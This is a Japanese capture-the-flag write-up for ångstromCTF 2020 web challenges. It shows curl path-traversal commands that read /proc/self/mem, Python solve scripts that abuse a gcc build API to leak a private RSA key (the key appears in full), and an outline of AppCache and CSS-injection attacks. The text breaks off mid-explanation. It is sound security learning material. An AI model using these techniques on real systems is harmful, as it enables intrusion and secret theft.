$ curl --path-as-is 'https://leettube.2020.chall.actf.co/videos/../?hoge/../../proc/self/maps' 56279dc8b000-56279dc8c000 r--p 00000000 ca:01 9231839 /usr/local/bin/python3 56279dc8c000-56279dc8d000 r-xp 00001000 ca:01 9231839 /usr/local/bin/python3 56279dc8d000-56279dc8e000 r--p 00002000 ca:01 9231839 /usr/local/bin/python3 56279dc8e000-56279dc8f000 r--p 00002000 ca:01 9231839 /usr/local/bin/python3 56279dc8f000-56279dc90000 rw-p 00003000 ca:01 9231839 /usr/local/bin/python3 56279ee86000-56279f45c000 rw-p 00000000 00:00 0 [heap] 7f3f34d9a000-7f3f34d9e000 r--p 00000000 ca:01 7173367 /lib/x86_64-linux-gnu/libresolv-2.28.so 7f3f34d9e000-7f3f34dab000 r-xp 00004000 ca:01 7173367 /lib/x86_64-linux-gnu/libresolv-2.28.so 7f3f34dab000-7f3f34daf000 r--p 00011000 ca:01 7173367 /lib/x86_64-linux-gnu/libresolv-2.28.so 7f3f34daf000-7f3f34db0000 ---p 00015000 ca:01 7173367 /lib/x86_64-linux-gnu/libresolv-2.28.so 7f3f34db0000-7f3f34db1000 r--p 00015000 ca:01 7173367 /lib/x86_64-linux-gnu/libresolv-2.28.so 7f3f34db1000-7f3f34db2000 rw-p 00016000 ca:01 7173367 /lib/x86_64-linux-gnu/libresolv-2.28.so 7f3f34db2000-7f3f34db4000 rw-p 00000000 00:00 0 7f3f34db4000-7f3f34db5000 r--p 00000000 ca:01 7173346 /lib/x86_64-linux-gnu/libnss_dns-2.28.so 7f3f34db5000-7f3f34db9000 r-xp 00001000 ca:01 7173346 /lib/x86_64-linux-gnu/libnss_dns-2.28.so 7f3f34db9000-7f3f34dba000 r--p 00005000 ca:01 7173346 /lib/x86_64-linux-gnu/libnss_dns-2.28.so 7f3f34dba000-7f3f34dbb000 r--p 00005000 ca:01 7173346 /lib/x86_64-linux-gnu/libnss_dns-2.28.so 7f3f34dbb000-7f3f34dbc000 rw-p 00006000 ca:01 7173346 /lib/x86_64-linux-gnu/libnss_dns-2.28.so 7f3f34dbc000-7f3f34dbe000 r--p 00000000 ca:01 9232386 /usr/local/lib/python3.1/lib-dynload/unicodedata.so 7f3f34dbe000-7f3f34dc1000 r-xp 00002000 ca:01 9232386 /usr/local/lib/python3.1/lib-dynload/unicodedata.so 7f3f34dc1000-7f3f34e42000 r--p 00005000 ca:01 9232386 /usr/local/lib/python3.1/lib-dynload/unicodedata.so 7f3f34e42000-7f3f34e43000 ---p 00086000 ca:01 9232386 /usr/local/lib/python3.1/lib-dynload/unicodedata.so 7f3f34e43000-7f3f34e44000 r--p 00086000 ca:01 9232386 /usr/local/lib/python3.1/lib-dynload/unicodedata.so 7f3f34e44000-7f3f34e55000 rw-p 00087000 ca:01 9232386 /usr/local/lib/python3.1/lib-dynload/unicodedata.so 7f3f34e55000-7f3f35716000 rw-p 00000000 00:00 0 7f3f35716000-7f3f35718000 r--p 00000000 ca:01 9232381 /usr/local/lib/python3.1/lib-dynload/select.so 7f3f35718000-7f3f3571a000 r-xp 00002000 ca:01 9232381 /usr/local/lib/python3.1/lib-dynload/select.so 7f3f3571a000-7f3f3571b000 r--p 00004000 ca:01 9232381 /usr/local/lib/python3.1/lib-dynload/select.so 7f3f3571b000-7f3f3571c000 r--p 00004000 ca:01 9232381 /usr/local/lib/python3.1/lib-dynload/select.so 7f3f3571c000-7f3f3571e000 rw-p 00005000 ca:01 9232381 /usr/local/lib/python3.1/lib-dynload/select.so 7f3f3571e000-7f3f35721000 r--p 00000000 ca:01 9232361 /usr/local/lib/python3.1/lib-dynload/_socket.so 7f3f35721000-7f3f35728000 r-xp 00003000 ca:01 9232361 /usr/local/lib/python3.1/lib-dynload/_socket.so 7f3f35728000-7f3f3572b000 r--p 0000a000 ca:01 9232361 /usr/local/lib/python3.1/lib-dynload/_socket.so 7f3f3572b000-7f3f3572c000 r--p 0000c000 ca:01 9232361 /usr/local/lib/python3.1/lib-dynload/_socket.so 7f3f3572c000-7f3f35730000 rw-p 0000d000 ca:01 9232361 /usr/local/lib/python3.1/lib-dynload/_socket.so 7f3f35730000-7f3f35731000 r--p 00000000 ca:01 9232360 /usr/local/lib/python3.1/lib-dynload/_random.so
この中の、pathnameが不明な領域のaddressを指定して、/proc/self/mem
を実行し、メモリを取ってきてみます。
範囲の指定は、HTTP range requests - HTTP | MDN のように、サーバー側が range request に対応している場合は、HeaderにRange: bytes=[start]-[end]
みたいに指定できるそうなので、これを試してみます。
curl --path-as-is 'https://leettube.2020.chall.actf.co/videos/../?hoge/../../proc/self/mem' -H 'Range: bytes 94728169742336-94728175861760' > data1 curl --path-as-is 'https://leettube.2020.chall.actf.co/videos/../?hoge/../../proc/self/mem' -H 'Range: bytes 139909446443008-139909446451200' > data2 curl --path-as-is 'https://leettube.2020.chall.actf.co/videos/../?hoge/../../proc/self/mem' -H 'Range: bytes 139909447110656-139909456289792' > data3
何かしらデータが降ってきました👍
それぞれのデータをバイナリエディタで開き、mp4のマジックナンバーがあるかをチェックしていきます。すると、7f3f34e55000-7f3f35716000(
139909447110656-139909456289792)の領域に、マジックナンバー
00 00 00 20 66 74 79 70 69 73 6F 6D 00 00 02 00` がありました!!
※マジックナンバーまとめはここが見やすい。マジックナンバーまとめ - Qiita
これをマジックナンバーが先頭になるようにカットし、output.mp4
などと名前を付けて保存すると、再生できる動画ファイルになります。
動画を再生してみると、flagが出てきました。
全然知らない知識が必要な問題だった。面白い!
[Web] UBI
I made a new universal build integrator, and there's already a flags site using it! It all seems pretty secure to me...
Here's the source code.
universal build integrator
はhttps://ubi.2020.chall.actf.co/
に飛ばされて、下記のようなテキストが出てきます。
Welcome to the Universal Build Integrator! __/\\\________/\\\__/\\\\\\\\\\\\\____/\\\\\\\\\\\_ _\/\\\_______\/\\\_\/\\\/////////\\\_\/////\\\///__ _\/\\\_______\/\\\_\/\\\_______\/\\\_____\/\\\_____ _\/\\\_______\/\\\_\/\\\\\\\\\\\\\\______\/\\\_____ _\/\\\_______\/\\\_\/\\\/////////\\\_____\/\\\_____ _\/\\\_______\/\\\_\/\\\_______\/\\\_____\/\\\_____ _\//\\\______/\\\__\/\\\_______\/\\\_____\/\\\_____ __\///\\\\\\\\\/___\/\\\\\\\\\\\\\/___/\\\\\\\\\\\_ ____\/////////_____\/////////////____\///////////__ Never again suffer at the hands of the bourgeoisie. The UBI brings the power of building to the people. Source: from flask import Flask, request, jsonify from Crypto.Cipher import PKCS1_OAEP from Crypto.Hash import SHA256 from Crypto.PublicKey import RSA import subprocess import hashlib import os import json import random allowed_headers = ('content-type', 'content-disposition', 'x-ubi-src') def verify_headers(headers, signature, key, build): if set(headers) - set(allowed_headers): return None key = RSA.import_key(key) headers = '\n'.join(header+': '+headers[header] for header in sorted(headers.keys()))+f"\nx-ubi-id: {build}\nx-ubi-key: {SHA256.new(key.export_key('PEM', pkcs=8)+bytes([10])).hexdigest()}" h = SHA256.new(headers.encode('utf-8')).digest() if PKCS1_OAEP.new(key).decrypt(bytes.fromhex(signature)) != h: return None return {h.split(': ')[0]: h.split(': ')[1] for h in headers.split("\n")} app = Flask(__name__) @app.route('/build', methods=['POST']) def build(): if len(request.form['src']) > 500000: return jsonify({'status': 'error'}) i = hex(random.randrange(2**64))[2:].zfill(16) os.mkdir('build/'+i) f = open('build/'+i+'/config.json', 'w') json.dump({'referer': request.form.get('referer'), 'key': request.form.get('key')}, f) f = open('build/'+i+'/source.c', 'w') f.write(request.form['src']) f.close() p = subprocess.run(['/usr/local/bin/timeout', '--no-info-on-success', '-m', '100000', '-t', '1', 'gcc', '-o', '/dev/stdout', 'build/'+i+'/source.c'], capture_output=True) if len(p.stderr) or len(p.stdout) > 500000: return jsonify({'status': 'error', 'message': p.stderr.decode('utf-8')}), 400 f = open('build/'+i+'/a.out', 'wb') f.write(p.stdout) f.close() return jsonify({'status': 'success', 'id': i}) @app.route('/<i>/<name>') def executable(i, name): try: sig = '' headers = {} for arg in request.args: if arg == 'sig': sig = request.args[arg] continue headers[arg] = request.args[arg] config = json.load(open('build/'+i+'/config.json')) if request.headers.get('referer') != config['referer']: return jsonify({'status': 'error', 'message': 'invalid referer'}), 400 headers = verify_headers(headers, sig, config['key'], i) if not headers: return jsonify({'status': 'error', 'message': 'invalid signature'}), 400 return open('build/'+i+'/a.out', 'rb').read() if not headers.get('x-ubi-src') else open('build/'+i+'/source.c').read(), headers except: return jsonify({'status': 'error'}), 400 @app.route('/') def index(): return f"""<pre> Welcome to the Universal Build Integrator! __/\\\\\\________/\\\\\\__/\\\\\\\\\\\\\\\\\\\\\\\\\\____/\\\\\\\\\\\\\\\\\\\\\\_ _\\/\\\\\\_______\\/\\\\\\_\\/\\\\\\/////////\\\\\\_\\/////\\\\\\///__ _\\/\\\\\\_______\\/\\\\\\_\\/\\\\\\_______\\/\\\\\\_____\\/\\\\\\_____ _\\/\\\\\\_______\\/\\\\\\_\\/\\\\\\\\\\\\\\\\\\\\\\\\\\\\______\\/\\\\\\_____ _\\/\\\\\\_______\\/\\\\\\_\\/\\\\\\/////////\\\\\\_____\\/\\\\\\_____ _\\/\\\\\\_______\\/\\\\\\_\\/\\\\\\_______\\/\\\\\\_____\\/\\\\\\_____ _\\//\\\\\\______/\\\\\\__\\/\\\\\\_______\\/\\\\\\_____\\/\\\\\\_____ __\\///\\\\\\\\\\\\\\\\\\/___\\/\\\\\\\\\\\\\\\\\\\\\\\\\\/___/\\\\\\\\\\\\\\\\\\\\\\_ ____\\/////////_____\\/////////////____\\///////////__ Never again suffer at the hands of the bourgeoisie. The UBI brings the power of building to the people. Source: {open(__file__).read().replace("<", "<").replace(">", ">")} </pre>""" if __name__ == "__main__": app.run('0.0.0.0', 5000)
flag site
のサイトはこんな感じ。
いくつかのCTFのタイトルとDownload Flag
ボタンが並んでいます。
配布されたソースコードはこちら。
var express = require('express') var cookieParser = require('cookie-parser') var bodyParser = require('body-parser') var app = express() app.use(cookieParser()) app.use(bodyParser.urlencoded({ extended: false })) var crypto = require('crypto') var querystring = require('querystring') var url = require('url') var bent = require('bent') var { publicKey, privateKey } = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } }) var flags = [ {name: 'picoCTF', flag: 'picoCTF{who_stole_our_flags}'}, {name: 'RedpwnCTF', flag: 'guessCTF{cOoKiE_ReCiPiEs}'}, {name: 'HSCTF', flag: 'hsctf{hacked_by_REDPWN}'}, {name: 'ångstromCTF', flag: process.env.FLAG, hidden: true} ] var src = "#include \"stdio.h\"\nint main() { puts(\"FLAG\"); }" var headers = {'content-type': 'application/octet-stream', 'content-disposition': 'attachment'} var headersToSign = Object.keys(headers).sort().map(h => h+': '+headers[h]).join('\n') var keyId = crypto.createHash('sha256').update(privateKey).digest('hex') async function buildFlags() { for (var i = 0; i < flags.length; i++) { var res = await bent('POST', 'json')(process.env.UBI+'/build', Buffer.from(`referer=${process.env.URL}/&src=${encodeURIComponent(src.replace("FLAG", flags[i].flag))}&key=${encodeURIComponent(privateKey)}`), {'content-type': 'application/x-www-form-urlencoded'}) var sig = crypto.publicEncrypt(publicKey, crypto.createHash('sha256').update(headersToSign+`\nx-ubi-id: ${res.id}\nx-ubi-key: ${keyId}`).digest()).toString('hex') flags[i].url = process.env.URL+'/download/'+res.id+'/flag?'+querystring.stringify(headers)+'&sig='+sig } } buildFlags() app.use(function (req, res, next) { res.set({'content-security-policy': 'script-src \'none\';'}) next() }) app.get('/', function (req, res) { res.send(`<!DOCTYPE html> <html> <head> <title>Flags</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" href="/style.css"> </head> <body> <section class="section"> <div class="container"> <div class="tile is-ancestor is-vertical"> <div class="tile is-parent"><div class="tile is-child"> <h1 class="title is-1">Flags</h1> <form method="POST" action="/submit"> <div class="field"><p>Are we missing a flag you think we should have? Send us a link and an admin will check it out!</p></div> <div class="field"><div class="control"> <input class="input" type="text" name="url" placeholder="Flag URL"> </div></div> <div class="field"><div class="control"> <button class="button" type="submit">Submit</button> </div></div> </form> </div></div> ${flags.map(flag => (!flag.hidden || req.cookies.admin === process.env.ADMIN) ? `<div class="tile is-parent"><div class="tile is-child box"> <p class="title">${flag.name}</p> <p><a href="${flag.url}" class="button">Download Flag</a></p> </div></div>` : '').join('')} </div> </div> </section> </body> </html>`) }) app.get('/style.css', function (req, res) { res.sendFile(__dirname+'/style.css') }) app.get('/download/:file(*)', function (req, res) { var proxyHeaders = req.headers delete proxyHeaders.host bent(process.env.UBI, 200, 400, proxyHeaders)('/'+req.params.file+'?'+url.parse(req.url).query).then(function (response) { if (response.headers['x-ubi-key'] !== keyId) return res.status(404).end() res.status(response.statusCode) for (var h in response.headers) { if (!res.get(h)) res.set(h, response.headers[h]) } response.on('data', function (chunk) { res.write(chunk) }) response.on('close', function () { res.end() }) response.on('end', function () { res.send() }) }).catch(async function (error) { res.status(404).end() }) }) /* admin visitor */ var puppeteer = require('puppeteer') app.post('/submit', async function (req, res) { try { if (!(req.body.url && (req.body.url.startsWith('http://') || req.body.url.startsWith('https://')))) return res.status(400).end() var browser = await puppeteer.launch({ args: ['--no-sandbox'] }) var page = await browser.newPage() await page.setCookie({ name: 'admin', value: process.env.ADMIN, url: process.env.URL, httpOnly: true }) await page.goto(req.body.url, { waitUntil: 'networkidle0' }) await new Promise(r => setTimeout(r, 10000)); await page.close() await browser.close() res.redirect('/') } catch (e) { res.status(500).end() } }) app.listen(5001)
index.js
で使用しているcss, style.css
を覗いてみたんですけど、凄い文字数…。約20万文字ですよ!オンラインのcss整形サイトで整形してもらったところ、行数1万行超え!css injectionみたいなのもやったことない初心者としては、もしこれを攻撃に使うのだとしても、この膨大なテキストの中から取っ掛かりを見つけ出すのは不可能と判断し、撤退。
1万行超えのcssなんて読んでられるかーっ!!撤退じゃ撤退ーっ!! pic.twitter.com/vgsscOHeGS
— kusuwada (@kusuwada) 2020年4月2日
長いなー。。。(ここで競技中のメモは終わっている)
ここから復習
とりあえず押せるボタンは押してみます。各CTFのDownload Flag
ボタンを押すと、それぞれflag
という名前の実行ファイルが降ってきました。
それぞれのファイルに対して、strings xxx | grep {
などとフラグフォーマットの文字列を探してみると、
- picoCTF:
picoCTF{who_stole_our_flags}
- RedpwnCTF:
guessCTF{cOoKiE_ReCiPiEs}
- HSCTF:
hsctf{hacked_by_REDPWN}
何やらメッセージのような、そうでもないような…。ってindex.js
に書いてありました。index.js
を見てみると、ångstromCTFにもflagが用意されているようです。buildFlags
関数で処理されていますが、hidden: true
になっているので、ångstromCTFのぶんだけ表示されません。
download urlの作り方はbuildFlags()
関数にありますが、pathの途中にランダムっぽいid番号があり、更に末尾に長ーいsignetureが付いています。picoCTFのflag urlはこんな感じ。
https://flags.2020.chall.actf.co/download/24e9190b45d3f2c9/flag?content-type=application%2Foctet-stream&content-disposition=attachment&sig=720892f80721b33a983602266674ff73f4d62afa4a57151ac359a8bec3715e481694f0bc56fa4780b11b628924dba354b236c87329153e6421805ad2747af6a00893a2dd4d1a8005cd1b407d2d85b2705d260a3dca6a9525f3e1f1516b7c85b5a72fd5cdf4743750b247de5de0e14e52fc76f2755d018551b18f9a1774170ea4813136254da131b76d4829d41acbf67785446bc8522db0d4b60374d683daac3da6fd9e80c4d4c5d671b6fb302dc43434fd2f51c4571223e8ba0b2be1edcdcc68d3bb62c374906415835414fd3c83ce32cd043edf2ba0156546e143c7128fc8ba1c8fb45c07bb9c56a1b2df3143c7664903ca030f1ea7d9d14e2a4a85a2134ea9
このbuildFlags()
関数の中で、universal build integrator
のAPIをコールし、FlagのダウンロードURLに使用する変数(主にid)を生成しているようです。
これのångstromCTF版URLを再現できればflagが取れそう。※1
また、ページ最上部のフォームは、リンクを送りつけるとadminが見に行ってくれるみたいです。index.js
の/* admin visitor */
のコメントの下に処理が書いてあります。cookieにprocess.env.ADMIN
の値を埋め込んでいるようです。
index.js
のL72
${flags.map(flag => (!flag.hidden || req.cookies.admin === process.env.ADMIN) ? `<div class="tile is-parent"><div class="tile is-child box">
より、ADMMINのcookieを持ってサイトを表示させると、ångstromCTFのflagのダウンロードボタンも表示されそう。※2
さっきの、Download URLを構築する方針(1)と、adminのcookieを入手する方針(2)の2つがぱっと思いつきます。(2)のほうは Xmas Still Stands のようにXSSが仕掛けられないかと思いましたが、確認する方法もないので厳しい。どうやるんだろう?
あとは、cssを取得するだけのAPIが用意されているのも気になります。
app.get('/style.css', function (req, res) { res.sendFile(__dirname+'/style.css') })
🤔
もうちょっと丁寧に全体を見てみます。
ざっくり、処理をソースコードから追ってみます。
index.js
が実行されると、buildFlags()
関数が実行され、用意されているflags
の
が行われます。このid生成とソースコードのビルドは、universal build integrator
の中で行われます。
universal build integrator
では、
build ├── {id_pico} (16桁のhex) │ ├── config.json (requestから取得した、refere と key) │ ├── source.c (requestから取得) │ └── a.out ├── {id_Redpwn} (16桁のhex) │ ├── config.json (requestから取得した、refere と key) │ ├── source.c (requestから取得) │ └── a.out ├── {id_HS} (16桁のhex) │ ├── config.json (requestから取得した、refere と key) │ ├── source.c (requestから取得) │ └── a.out └── {id_ångstrom} (16桁のhex) ├── config.json (requestから取得した、refere と key) ├── source.c (requestから取得) └── a.out
こんなフォルダ構造になっており、requestに詰めたソースコードをbuildしてくれます。buildに失敗したらErrorを返し、成功したらidを返却します。
渡したソースコードをbuildしてくれるらしいので、とても怪しい。
もう一つのAPI、GET methodの/<i>/<name>
では、
- refere(Headerから取得) が 上記のpathにあるものと一致しているか
- シグネチャとkeyが正しいか
を検証し、正しくない場合は status:400 のエラーを返却、正しい場合はa.out
かsource.c
と1番目と2番目のHeaderを返却します。返却するコンテンツはx-ubi-src
ヘッダの内容で出し分けているようです。Headerはsorted(headers.keys())
でソートされます。
気になった点は、任意のコードを/build
APIで実行させることができること。あとは、このbuild
APIでbuild/{id}/config.json
にrefere
とkey
が書き出されたまま保存されていること。
このrefere
はindex.js
のprocess.env.URL
で固定、key
もindex.js
が実行されるたびに生成される(privateKey
)ものの、/build
APIの呼び出しごとに変わるものではないようです。
/build
APIの返却値は、成功したときはid
のみですが、失敗するとmessage
にstderr
を詰めて返してくれます。これを利用して、共通で使われているprivateKey
を取得できないでしょうか。
上記、/build
の際に実行されるディレクトリ構成を参考に、もう一つ新しく何かをbuildしてみてもらいます。エラーが返るようなソースコードを実行してみてもらいましょう。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import requests ubi_uri = 'https://ubi.2020.chall.actf.co' flags_uri = 'https://flags.2020.chall.actf.co' test_data = {'refere':flags_uri, 'src':"#include \"stdio.h\"\nint main() { puts(i); }", 'key':'test'} test_header = {'content-type': 'application/x-www-form-urlencoded'} res = requests.post(ubi_uri + '/build', data=test_data, headers=test_header) print(res.text)
実行結果
$ python solve.py {"message":"build/3fe600bf641b8fa8/source.c: In function \u2018main\u2019:\nbuild/3fe600bf641b8fa8/source.c:2:19: error: \u2018i\u2019 undeclared (first use in this function)\n int main() { puts(i); }\n ^\nbuild/3fe600bf641b8fa8/source.c:2:19: note: each undeclared identifier is reported only once for each function it appears in\n","status":"error"}
いきなりソース中にi
を未定義で使ったので怒られています。
では、他のidがわかっているbuild結果のconfig.json
を覗いて、key
の取得を試みます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import requests ubi_uri = 'https://ubi.2020.chall.actf.co' flags_uri = 'https://flags.2020.chall.actf.co' test_data = {'refere':flags_uri, 'src':"#include \"stdio.h\"\nint main(){ FILE *fp;\nchar str[100];\nfp=fopen(\"../config.json\", \"r\");\nprintf(\"%s\",fgets(str,100,fp));\nfclose(fp); }", 'key':'test'} test_header = {'content-type': 'application/x-www-form-urlencoded'} res = requests.post(ubi_uri + '/build', data=test_data, headers=test_header) print(res.text)
実行結果
$ python solve.py {"id":"d4b3afb815b3aaa0","status":"success"}
あー、やっぱ成功してしまってはstatusとidしか返らない。config.json
が読めていない場合はエラーが返るはずなので、config.json
にはリーチできている様子。
手っ取り早く、config.json
の内容をエラーに出力させるには、ソースじゃないこのファイルをincludeしちゃうのが良いみたい。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import requests ubi_uri = 'https://ubi.2020.chall.actf.co' flags_uri = 'https://flags.2020.chall.actf.co' test_data = {'refere':flags_uri, 'src':"#include \"../24e9190b45d3f2c9/config.json\"\nint main(){ puts(\"Hello!\"); }", 'key':'test'} test_header = {'content-type': 'application/x-www-form-urlencoded'} res = requests.post(ubi_uri + '/build', data=test_data, headers=test_header) print(res.text)
実行結果
$ python solve.py {"message":"In file included from build/3ddbc1fc8615a8a5/source.c:1:\nbuild/3ddbc1fc8615a8a5/../24e9190b45d3f2c9/config.json:1:1: error: expected identifier or \u2018(\u2019 before \u2018{\u2019 token\n {\"referer\": \"https://flags.2020.chall.actf.co/\", \"key\": \"-----BEGIN PRIVATE KEY-----\\nMIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDWhcALIgsMl/Dq\\nfqdwrYv7gU07dX/R0aW6St9tGRK0mW7qH3VXMKig2IdkvJTb2Hou9Ov26BN+fWJJ\\nqpWlvYodMa0jOEoGBQaPbQfb5VItAZhi/ZtFVGilVniF/8QGtTb63GuOBWP2ZnKA\\nBmv4clkFkD7Immsf2YRRW8VLioiopV4WOFfrcDPTYz8HEz+FuzaekzqgzQKSxUuL\\nVNFBhhsjlN7JNp1e1vLoX3fYexVZRoliyjFn3OPHarBHYof8/tHz8Ujit0BE53DS\\noaMBJryhqyrU9WvC4H07cq9/8z3cT7mhREkc2+pmXf1XtSghEmdCG1bt66PZwuFg\\ndVF7oVwNAgMBAAECggEBAJtSTgEBjhR5MqLmPx+zWCYqsZu6cGifranbqjeYrtV6\\nPjdfvZr6jS2geS9z5yfiblzvUqX71JmB+RczXpSZTpXisOROTjJbkytnmwgY2s3h\\nWM9bpf+lpPsJR8xlqi3dKUirLWiv+HegJ4kQnT5OtKv1i6+9NpDh8g7iLlCKpnXL\\nqXoWjDHxABarU4r5iUqxKta/QNQt747f3Mwd+CdRZ1TH4KpW9e5CvaSHEbJsf7qg\\nQmHqrCUYAUOyVa0btxiNgQ364mx7LSm6mIvqVxA9LlIMcDvl+qkO9wmKDw1cGjP8\\nfmqEwbmEsLDGoiaRX36YKLeRCzxPLdGBt3aOTeKLedUCgYEA/nKAgyac8yHNo58S\\nTQveE55ZGgm7y0z2gAvpIiPpYz+cFVG3BeC5jfm9xpewNPrFcEy0gtVWQ1KZ9mQ1\\nnpEtKHPXzxjjqdA82uPHkQpf8mcmlhTBlKL1AM1pVoe3MorOh2IGLTBQudRINojX\\niaqu6yQvUTbDaziCNJ/HciEP6QcCgYEA19Tgp2N3HFU5eCzPFFLCEoT+On1GW8QI\\ng0ekgM2YaNopmrIuqMm2PdweDV7oEtVr+1To3XC5o+1LS0PfvtYwkuG73qAFw3TN\\ncmoqtx/kC1LqYkiltHuh1Rxa6BOC0vd6ss+Nt4rb4HZsRpEgoALRZXLK6Jzao83V\\nmCA+Jk4EcUsCgYBTE+Ot7q+UGtdfsxJwoY1S7oK9I6xzRp+9UyY9hWgwhZZax6Fw\\ng91R49b4vpJD2hUZA5J0nV9a/99ROYrgSRpreNdfwQqkaV9VQMXqL28AYHmSyxgh\\nhctlBax9GjbQg83HGlRV8M6KvisN00Q8qMQP9nKUm8LWgU7SC9E9DFp7hQKBgFxG\\nPAH0iXEIkrhpV+NVenmWeGajNph3GDigQZl7zMRPOWhU85PgIVUTLZoD0G505mSe\\nqaw6zHNkOUOlchxR0JSLg9mrSquE3W0kLLz8GnAo8+IvMwEVtlu5crgz10PA4Klg\\nCTPGXzj5CFOnKm6epc2cpVmL7gIIN2CBsHCJ/GY/AoGBAKhxtlzrMJOZvknEiF20\\nliHXmaMSfXKrjQpU1vljJy+5F4EFdxpSqdWuSsQGTx/T41AJaM130qNG/WxzyjAN\\n5vdNOgOzd8bt6RWMKbcQeDAjuRqPfxdSnx19l7508ATEv/zHz+bDDvqWc/38AWE5\\n3m60GanVC38kbc8STt0MpBOA\\n-----END PRIVATE KEY-----\\n\"}\n ^\nbuild/3ddbc1fc8615a8a5/source.c: In function \u2018main\u2019:\nbuild/3ddbc1fc8615a8a5/source.c:2:13: warning: implicit declaration of function \u2018puts\u2019 [-Wimplicit-function-declaration]\n int main(){ puts(\"Hello!\"); }\n ^~~~\n","status":"error"}
おー!ファイルの内容が全部抜けました。privatekeyも!
後この検証中に気づいたこと
- buildに失敗してエラーになっても、エラーメッセージにpathが含まれているのでidが取得できる
- buildに失敗した場合でも、idさえわかればダウンロードURLを作成できる
- buildに失敗しているので
a.out
は取得できないが、x-ubi-src
ヘッダを設定することでsource.c
は取得できる
うーん、これもとても怪しい。実質任意のファイルをsource.c
という名前でアップロード・ダウンロードできることになる。
ここから先、どこに進めばよいのか全くわからなくなったので、とりあえずフォームにurlを入れたら本当にadminが見に来てくれるのかを確認してみました。
自分で用意したエンドポイントを入れ、誰かアクセスしに来るか待ってみます。
https://{用意したエンドポイント}
-> submit
お、誰かやってきました!Request Headerを見てみましょう。
{ "upgrade-insecure-requests": "1", "user-agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/80.0.3987.0 Safari/537.36", "sec-fetch-dest": "document", "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "sec-fetch-site": "none", "sec-fetch-mode": "navigate", "sec-fetch-user": "?1", "accept-encoding": "gzip, deflate, br", "accept-language": "en-US" }
ちゃんと見に来てくれることは確認できました。この機能は使いそう。更にAdminのcookie情報を抜き出したいんだけど、その方法は思いつかず。
- publickeyが手に入った
- adminが自分の用意したエンドポイントにアクセスしてくれる
- 任意のファイルをアップロード・ダウンロードできそう
ここまでやったものの、先の手が全くわからなかったのでwriteup探してみました。…が、公式のwriteup(ソースコードのみ)しか見つからず。
更に、Discordでヒントになりそうなワードが飛び交っていたのでピックアップしておきました。
- "intended sol for ubi used appcache to css inject"
- "ubi is in the wrong category"
- "chrome nday https://bugs.chromium.org/p/chromium/issues/detail?id=1053604"
- "i'm really sad that UBI was a weird chrome-specific bug"
appcache が css injection で chrome-specific な nday の bug で crypto 要素があるんやな🤔?
なんだかとても困難な道程になりそうだ。
@graneedさんのtweetより。
ångstromCTF 2020のUBIの想定解法。HTTP Header Injectionでtext/cache-manifestを付与できるので、TopページのCSSをインターセプトするAppCacheのマニフェストを作り、CSS InjectionでFlagファイルのリンク先を取得するという連携技。
— graneed (@graneed111) 2020年3月20日
素晴らしい・・・、今年のまとめに載せさせて頂きます。
あ、ちょっとわかりやすい気がする。けど、ぜんぜんわからん。これらのコメントと公式解法のソースを頼りに進めていきます。
まずは肝になりそうなAppCache(Application Cache)について、明るくないので基本から調べてみました。
HTML5が提供している、ウェブベースのアプリケーションをオフラインで実行できるようにするためのブラウザ側のキャッシュ機能。Chromeの開発者ツールでも、Application > Cache から確認できます。ユーザーがオフラインになった状態で更新ボタンを押しても、このキャッシュのおかげで正常に読み込まれます。
上の方のMozillaの解説の方には、この機能はウェブ推奨から削除されており、好ましくないとあります。
アプリケーションでアプリケーションキャッシュを有効にするには、アプリケーションページ内の
<html>
要素にmanifest
属性を含めなければなりません。以下に例を示します。
<html manifest="example.appcache"> ... </html>
このようにmanifest属性を含めると、appcacheを有効にできるようです。
キャッシュマニフェストファイルはどんなファイル拡張子でもかまいませんが、
text/cache-manifest MIME
タイプで提供されなければなりません。キャッシュマニフェストファイルはブラウザーがオフラインアクセスのためにキャッシュすべきリソースを列挙した単純なテキストファイルです。リソースは URI によって区別されます。キャッシュマニフェストに列挙されたエントリーはマニフェストと同じスキーマ、ホスト、およびポートでなければなりません。
AppCachePoisoningで調べてみると下記の説明資料・ブログが。
どうやらこの攻撃を行うには
- MitM (man in the middle)攻撃ができる
- manifestファイルのmime typeに
text/cache-manifest
を指定できる - ファイルアップロード機能がある
- ChormeかFirefox
あたりが条件のようです。今回だと、ファイルアップロード機能は/build
APIでできていること、この際に任意のmime typeを指定できること、Adminが使用するブラウザがpuppeteer
なのでChromiumベースなことから、この攻撃をする条件が整っていそうです。
公式解法のスクリプトを見たところ、直接adminのcookieを抜くことを考えるのではなく、adminには見えているはずのångstromCTFのflagのdawnload urlを、用意したエンドポイントに送ってもらう方針のようです。この際、adminに用意したmanifestを利用するよう仕向け、攻撃用エンドポイントへは必ずオンラインで通信し、style.css
は変わりに/build
機能を使って用意した攻撃用cssを使わせます。
長くなってしまいましたが、全体の攻撃の流れはこちら。privatekey
取得までは上で済んでいます。
条件と攻撃の流れのサマリ
download urlは、id
とsignature用のkey
があれば再現できます。そこで、全体としてはkey
とångstromCTFのflag用id
を取得することを目指します。
1.keyの取得
UBI API
の/build
ではcのソースコードとkey,referのセットを渡すと、16桁の16進数のランダムなidを発行し、key, referを/{id}/config.json
に保管します。これはAPI処理が終わった後も消されません。また、key
,refer
についてはどのflag生成時も同じものを使いまわしており、どれかのflag用のconfigが手に入ればkey
が入手できることになります。ångstromCTFのflagのダウンロードurlはadminのcookieを持った人にしか表示されませんが、その他のflagのダウンロードurl,idは一般人にも表示されているので、既知のflag用idを使ってconfig.json
の中身を引っ張り出します。この方法の詳細は上に書いています。
2.adminに攻撃cssを使ってもらい、flagのidを取得する
次に、id
を取得することを考えます。adminのcookieを持っていれば表示されるのでcookieを抜き出すことを考えたいのですが、adminには見えているはずのångstromCTFのflagのidを用意したエンドポイントに送ってもらうのが想定解のようです。
ここで、もしcssをstyle.css
から自分が用意したものにすり替えられるとします。この場合、adminにだけ見えているはずのångstromCTF用のid
